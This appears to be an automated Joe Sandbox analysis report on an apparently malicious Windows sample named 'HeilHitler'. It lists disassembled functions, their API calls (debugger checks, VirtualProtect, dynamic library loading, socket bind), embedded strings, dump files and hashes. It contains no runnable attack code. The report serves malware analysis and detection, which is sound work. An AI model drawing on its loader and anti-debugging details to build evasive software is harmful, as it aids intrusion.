Associated: 00000001.00000002.2034141796.00007FFDFAE80000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF6000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF19000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF24000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF2E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034512265.00007FFDFAF31000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034545589.00007FFDFAF33000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfae80000_HeilHitler.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 2d072e119b3f82c49d6f4ce91d3b7ce2e14bd39be51010dabf7c3b22418c2fca
Instruction ID: fa0f43729f12cd900f9b87a395131d883ac2b162ece683444516764cf1fbf0cf
Opcode Fuzzy Hash: 2d072e119b3f82c49d6f4ce91d3b7ce2e14bd39be51010dabf7c3b22418c2fca
Instruction Fuzzy Hash: 8B318F72709A818AEB64DF60E860BED33A0FB84755F404479DA5E47AD8EF7DC548C710

Function 00007FFDFAF45A1F Relevance: 10.6, APIs: 7, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFDFB185BBC
RtlCaptureContext.KERNEL32 ref: 00007FFDFB185BE9
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFDFB185C03
RtlVirtualUnwind.KERNEL32 ref: 00007FFDFB185C44
IsDebuggerPresent.KERNEL32 ref: 00007FFDFB185C98
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFDFB185CB9
UnhandledExceptionFilter.KERNEL32 ref: 00007FFDFB185CC4

Memory Dump Source

Source File: 00000001.00000002.2034614271.00007FFDFAF41000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFDFAF40000, based on PE: true

Associated: 00000001.00000002.2034579485.00007FFDFAF40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAF4D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFA5000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFB9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFC9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFDD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1B9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1EA000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB210000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB25E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB264000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB266000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB282000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB28F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2035725372.00007FFDFB293000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2035764384.00007FFDFB294000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaf40000_HeilHitler.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 836932d6aed314119f7ddbe256598baef3b0bd20caf5fb751809a6c17d89e7ea
Instruction ID: b49737b5db68e9eebcad98279f39dc2f7fdc6b125540259617ba0e98f0d359ab
Opcode Fuzzy Hash: 836932d6aed314119f7ddbe256598baef3b0bd20caf5fb751809a6c17d89e7ea
Instruction Fuzzy Hash: FD314172709F828AEB609F60E8507ED7365FB94748F44803ADA5D87AE9DF38D548C710

Function 00007FF633D6D12C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF633D6D148
RtlCaptureContext.KERNEL32 ref: 00007FF633D6D175
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF633D6D18F
RtlVirtualUnwind.KERNEL32 ref: 00007FF633D6D1D0
IsDebuggerPresent.KERNEL32 ref: 00007FF633D6D224
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF633D6D241
UnhandledExceptionFilter.KERNEL32 ref: 00007FF633D6D24C

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 357b26123f7cc0566be18cabbec560c6351d8abd4e8582c9dfa9d4018571b442
Instruction ID: 43ff3b8166e9fd1da9e9b85cd0cc03098369cc9465b4e54a762af958436dc8e1
Opcode Fuzzy Hash: 357b26123f7cc0566be18cabbec560c6351d8abd4e8582c9dfa9d4018571b442
Instruction Fuzzy Hash: 92317672608B8586EB60CFA0E8417ED7360FB84704F444139DA5E97B99DF7CD648D710

Function 00007FF633D85C00 Relevance: 9.3, APIs: 6, Instructions: 334timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF633D85C45

Part of subcall function 00007FF633D85598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF633D855AC

Part of subcall function 00007FF633D7A948: RtlFreeHeap.NTDLL(?,?,?,00007FF633D82D22,?,?,?,00007FF633D82D5F,?,?,00000000,00007FF633D83225,?,?,?,00007FF633D83157), ref: 00007FF633D7A95E
Part of subcall function 00007FF633D7A948: GetLastError.KERNEL32(?,?,?,00007FF633D82D22,?,?,?,00007FF633D82D5F,?,?,00000000,00007FF633D83225,?,?,?,00007FF633D83157), ref: 00007FF633D7A968

Part of subcall function 00007FF633D7A900: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF633D7A8DF,?,?,?,?,?,00007FF633D7A7CA), ref: 00007FF633D7A909
Part of subcall function 00007FF633D7A900: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF633D7A8DF,?,?,?,?,?,00007FF633D7A7CA), ref: 00007FF633D7A92E

_get_daylight.LIBCMT ref: 00007FF633D85C34

Part of subcall function 00007FF633D855F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF633D8560C

_get_daylight.LIBCMT ref: 00007FF633D85EAA
_get_daylight.LIBCMT ref: 00007FF633D85EBB
_get_daylight.LIBCMT ref: 00007FF633D85ECC
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF633D8610C), ref: 00007FF633D85EF3

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID:
API String ID: 4070488512-0
Opcode ID: 677ea417f3249c8bdb60afb6413c0575e0f743ff33606516b420b369f71394b1
Instruction ID: 6ec99d33bdb44da6ecf2997ad356caa19763f127bc689be6710b0b8447883afe
Opcode Fuzzy Hash: 677ea417f3249c8bdb60afb6413c0575e0f743ff33606516b420b369f71394b1
Instruction Fuzzy Hash: 03D1E426E0824246E720DFA5D8431B96762FF84794F84A235EE0DEBB95DF3CF441A740

Function 00007FF633D7A614 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF633D7A68D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF633D7A6A5
RtlVirtualUnwind.KERNEL32 ref: 00007FF633D7A6E0
IsDebuggerPresent.KERNEL32 ref: 00007FF633D7A719
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF633D7A723
UnhandledExceptionFilter.KERNEL32 ref: 00007FF633D7A72E

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: ae2d74aaff6e8c1310ec24f87c3395aa5518f909cdba62f6f822c67f0a9cc142
Instruction ID: d85780c84839de040bc3890f67e64cd2644d1c0eb61610f31f65aaa08a9a8677
Opcode Fuzzy Hash: ae2d74aaff6e8c1310ec24f87c3395aa5518f909cdba62f6f822c67f0a9cc142
Instruction Fuzzy Hash: 9331A232608F8186DB60CF64E8413AE33A4FB88758F500236EA9D97BA9DF3CD145DB00

Function 00007FF633D81874 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D818C0
FindFirstFileExW.KERNEL32 ref: 00007FF633D819CA

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: 471de8175ffa50438b20796c5ba06e190623de8bcba55c14971da5e7bf2bc1ae
Instruction ID: 74b5afc23294b8b436fcf21b3ec6f5666c4b3d65eb5e36be9ad9fec28f369967
Opcode Fuzzy Hash: 471de8175ffa50438b20796c5ba06e190623de8bcba55c14971da5e7bf2bc1ae
Instruction Fuzzy Hash: 85B10762B1869241EA619FA5D4025B9A390FF44BE4F446331EE5EABBC5DF3CF445D300

Function 00007FFDFAF31940 Relevance: 6.9, APIs: 4, Instructions: 885librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FFDFAF32455
GetProcAddress.KERNEL32 ref: 00007FFDFAF32473
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 00007FFDFAF324F3
VirtualProtect.KERNEL32 ref: 00007FFDFAF32511

Memory Dump Source

Source File: 00000001.00000002.2034512265.00007FFDFAF31000.00000080.00000001.01000000.00000010.sdmp, Offset: 00007FFDFAE80000, based on PE: true

Associated: 00000001.00000002.2034141796.00007FFDFAE80000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAE81000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF6000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF19000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF24000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF2E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034545589.00007FFDFAF33000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfae80000_HeilHitler.jbxd

Similarity

API ID: ProtectVirtual$AddressLibraryLoadProc
String ID:
API String ID: 3300690313-0
Opcode ID: 55e6f5dda0f56247063ea5389dc22ddd15faef173de17707deda63e565c13c3a
Instruction ID: ec94b1d94c4d4fb9f359f834afa0cf7d29189b650e427982647f2d9bf188f4d3
Opcode Fuzzy Hash: 55e6f5dda0f56247063ea5389dc22ddd15faef173de17707deda63e565c13c3a
Instruction Fuzzy Hash: 47622A2272829286E7198F38D41067D7790FF58795F0456B5FAAEC77C8EA3CEA85C700

Function 00007FF633D85E7C Relevance: 6.1, APIs: 4, Instructions: 143timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF633D85EAA

Part of subcall function 00007FF633D855F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF633D8560C

_get_daylight.LIBCMT ref: 00007FF633D85EBB

Part of subcall function 00007FF633D85598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF633D855AC

_get_daylight.LIBCMT ref: 00007FF633D85ECC

Part of subcall function 00007FF633D855C8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF633D855DC

Part of subcall function 00007FF633D7A948: RtlFreeHeap.NTDLL(?,?,?,00007FF633D82D22,?,?,?,00007FF633D82D5F,?,?,00000000,00007FF633D83225,?,?,?,00007FF633D83157), ref: 00007FF633D7A95E
Part of subcall function 00007FF633D7A948: GetLastError.KERNEL32(?,?,?,00007FF633D82D22,?,?,?,00007FF633D82D5F,?,?,00000000,00007FF633D83225,?,?,?,00007FF633D83157), ref: 00007FF633D7A968

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF633D8610C), ref: 00007FF633D85EF3

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 3458911817-0
Opcode ID: 179af59534a267e8b56f66eebf2dbf2058aebcf107c16e98e161f461d30bd41f
Instruction ID: 7fd548c5178028af0812a6d8c2f083bf18a1ef2463a1c9129a27f05425390cc1
Opcode Fuzzy Hash: 179af59534a267e8b56f66eebf2dbf2058aebcf107c16e98e161f461d30bd41f
Instruction Fuzzy Hash: 5C518132A0864286E710DFA5D9835B97762FB48784F446335EA4DEBB96DF3CF400A740

Function 00007FFDFAE81DD4 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 451COMMON

Download Yara Rule

APIs

00007FFE1FFB08A0.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FFDFAEC44B1

Strings

D:\_w\1\s\ssl\packet_local.h, xrefs: 00007FFDFAEC42A9, 00007FFDFAEC42BD
..\s\ssl\statem\extensions_srvr.c, xrefs: 00007FFDFAEC41D5, 00007FFDFAEC4399, 00007FFDFAEC4636, 00007FFDFAEC48B6

Memory Dump Source

Source File: 00000001.00000002.2034183596.00007FFDFAE81000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFAE80000, based on PE: true

Associated: 00000001.00000002.2034141796.00007FFDFAE80000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF6000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF19000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF24000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF2E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034512265.00007FFDFAF31000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034545589.00007FFDFAF33000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfae80000_HeilHitler.jbxd

Similarity

API ID: 00007
String ID: ..\s\ssl\statem\extensions_srvr.c$D:\_w\1\s\ssl\packet_local.h
API String ID: 3568877910-927607112
Opcode ID: f9f83aff7d1fcb132b01ba312460124729e623ed2ec6bf248ed9c149fe73d58a
Instruction ID: 5f9159a6cd23e8cbd3a63e32db0470db179edd809f2ca16f30d0caad3ae8de37
Opcode Fuzzy Hash: f9f83aff7d1fcb132b01ba312460124729e623ed2ec6bf248ed9c149fe73d58a
Instruction Fuzzy Hash: A512F572B0868185E768AB21E468ABD77A0FB84788F054175EEAE0B7CCDF7DD544CB00

Function 00007FFDFAD61880 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 437COMMON

Download Yara Rule

APIs

00007FFDFB4F767C.PYTHON310 ref: 00007FFDFAD61B22

Strings

_/yZ_&, xrefs: 00007FFDFAD6188C

Memory Dump Source

Source File: 00000001.00000002.2033758431.00007FFDFAD61000.00000040.00000001.01000000.00000013.sdmp, Offset: 00007FFDFAD60000, based on PE: true

Associated: 00000001.00000002.2033713501.00007FFDFAD60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2033758431.00007FFDFADC4000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2033758431.00007FFDFAE13000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2033758431.00007FFDFAE6C000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2033758431.00007FFDFAE71000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2033758431.00007FFDFAE74000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2034059986.00007FFDFAE75000.00000080.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2034101253.00007FFDFAE77000.00000004.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfad60000_HeilHitler.jbxd

Similarity

API ID: 00007F767
String ID: _/yZ_&
API String ID: 1545044454-2545492802
Opcode ID: 7fa95b5cd81f519628587b04b727bd74477dff7e7dbf017e14e753301a1448cd
Instruction ID: 479458338e16449e8dd9f648669c42a81d5737500ffe9d8b6009dbc2d45aa27e
Opcode Fuzzy Hash: 7fa95b5cd81f519628587b04b727bd74477dff7e7dbf017e14e753301a1448cd
Instruction Fuzzy Hash: 4C021072B0858282E76C8F18D868E7977A5EF41784F044176EA6E877D8FE3DE541D700

Function 00007FFDFAE81BE0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 235COMMON

Download Yara Rule

APIs

00007FFE1FFB08A0.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FFDFAEDD050

Strings

..\s\ssl\statem\statem_srvr.c, xrefs: 00007FFDFAEDCE75, 00007FFDFAEDCED6
resumption, xrefs: 00007FFDFAEDCFA7

Memory Dump Source

Source File: 00000001.00000002.2034183596.00007FFDFAE81000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFAE80000, based on PE: true

Associated: 00000001.00000002.2034141796.00007FFDFAE80000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF6000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF19000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF24000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF2E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034512265.00007FFDFAF31000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034545589.00007FFDFAF33000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfae80000_HeilHitler.jbxd

Similarity

API ID: 00007
String ID: ..\s\ssl\statem\statem_srvr.c$resumption
API String ID: 3568877910-332775882
Opcode ID: c8ba10bbb471680328762e7b0359601313359f7ba8d38ab2e261f49fb41d8171
Instruction ID: 71a15f38903aa65a54de551a0a8753bc42f2b8946830fd3d17fd948cf1bed640
Opcode Fuzzy Hash: c8ba10bbb471680328762e7b0359601313359f7ba8d38ab2e261f49fb41d8171
Instruction Fuzzy Hash: 98B1B23270978185EB54EB25D8A4BBD67A0EB84B88F044075EE9E4BBD9CF7DD445C700

Function 00007FFDFAF42B5D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57networkCOMMON

Download Yara Rule

APIs

bind.WS2_32 ref: 00007FFDFB00A319
WSAGetLastError.WS2_32 ref: 00007FFDFB00A328

Strings

..\s\crypto\bio\b_sock2.c, xrefs: 00007FFDFB00A2CE, 00007FFDFB00A33E, 00007FFDFB00A35A

Memory Dump Source

Source File: 00000001.00000002.2034614271.00007FFDFAF41000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFDFAF40000, based on PE: true

Associated: 00000001.00000002.2034579485.00007FFDFAF40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAF4D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFA5000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFB9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFC9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFDD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1B9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1EA000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB210000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB25E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB264000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB266000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB282000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB28F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2035725372.00007FFDFB293000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2035764384.00007FFDFB294000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaf40000_HeilHitler.jbxd

Similarity

API ID: ErrorLastbind
String ID: ..\s\crypto\bio\b_sock2.c
API String ID: 2328862993-3200932406
Opcode ID: c767e834a84740a79c233dcad0d39ea44b2e2a28cfc1136448b175a4500b188a
Instruction ID: 43209ef247d1958d6b715257d0260f370c8b9a833a288914f113436f2ce74c9a
Opcode Fuzzy Hash: c767e834a84740a79c233dcad0d39ea44b2e2a28cfc1136448b175a4500b188a
Instruction Fuzzy Hash: 78219D32B1955386E710DB26E810AAD6760FB80B98F400231EA6C47BEDDF3DE695CB40

Function 00007FF633D65830 Relevance: 229.6, APIs: 86, Strings: 45, Instructions: 400libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D65840
GetLastError.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D65852
GetProcAddress.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D65889
GetLastError.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D6589B
GetProcAddress.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D658B4
GetLastError.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D658C6
GetProcAddress.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D658DF
GetLastError.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D658F1
GetProcAddress.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D6590D
GetLastError.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D6591F
GetProcAddress.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D6593B
GetLastError.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D6594D
GetProcAddress.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D65969
GetLastError.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D6597B
GetProcAddress.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D65997
GetLastError.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D659A9
GetProcAddress.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D659C5
GetLastError.KERNEL32(?,00007FF633D664CF,?,00007FF633D6336E), ref: 00007FF633D659D7

Strings

PyImport_AddModule, xrefs: 00007FF633D65BE3, 00007FF633D65C05
PyConfig_SetBytesString, xrefs: 00007FF633D65A17, 00007FF633D65A39
Py_ExitStatusException, xrefs: 00007FF633D658AA, 00007FF633D658CC
PyUnicode_FromFormat, xrefs: 00007FF633D65F4D, 00007FF633D65F6F
PyErr_Clear, xrefs: 00007FF633D65AA1, 00007FF633D65AC3
PyErr_Restore, xrefs: 00007FF633D65B87, 00007FF633D65BA9
